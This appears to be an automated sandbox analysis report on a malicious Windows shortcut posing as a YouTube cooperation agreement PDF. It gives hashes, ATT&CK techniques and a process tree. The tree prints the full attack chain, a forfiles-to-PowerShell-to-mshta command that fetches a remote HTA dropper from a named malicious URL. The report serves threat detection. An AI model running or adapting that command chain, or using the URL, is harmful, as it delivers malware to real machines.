8ea35c2bfdf4cad1197abadd19f4f0e09579afcfdb32abc7e71bb5818c6d3ba6

Analysis

max time kernel
135s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25/10/2024, 12:15

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General

Target
Agreement for YouTube cooperation.pdf.lnk.download.lnk
Size 1KB
Sample241025-pexcyayfpf
SHA256 8ea35c2bfdf4cad1197abadd19f4f0e09579afcfdb32abc7e71bb5818c6d3ba6
MD5 90de1044962e092ea916ae08649227ba
SHA1 a2fafd3d9e2b224205d6a3ae529416d33be68b2e
SHA512 1b2d37a8615904f074def78a06dbed15d38dc455eb5a715002a5e93c28520154f506d7ea6f150e915ca1bda0564d358635314e9022a170efee2ada168ff19890
MD5 SHA1 SHA512

Score

10^/10

defense_evasion

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3928	mshta.exe
8	3928	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	cmd.exe

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
1828	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3620	powershell.exe
3620	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3620	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 1828	4104	cmd.exe	85
PID 4104 wrote to memory of 1828	4104	cmd.exe	85
PID 1828 wrote to memory of 3620	1828	forfiles.exe	86
PID 1828 wrote to memory of 3620	1828	forfiles.exe	86
PID 3620 wrote to memory of 3928	3620	powershell.exe	87
PID 3620 wrote to memory of 3928	3620	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Agreement for YouTube cooperation.pdf.lnk.download.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json"
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3620
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json
      4⤵
      Blocklisted process makes network request
      PID:3928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ivwjgb1q.z4e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivwjgb1q.z4e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3620-0-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp

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memory/3620-1-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp

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memory/3620-2-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp

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memory/3620-12-0x000001FAF03C0000-0x000001FAF03E2000-memory.dmp

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memory/3620-15-0x00007FFB6E400000-0x00007FFB6E6C9000-memory.dmp

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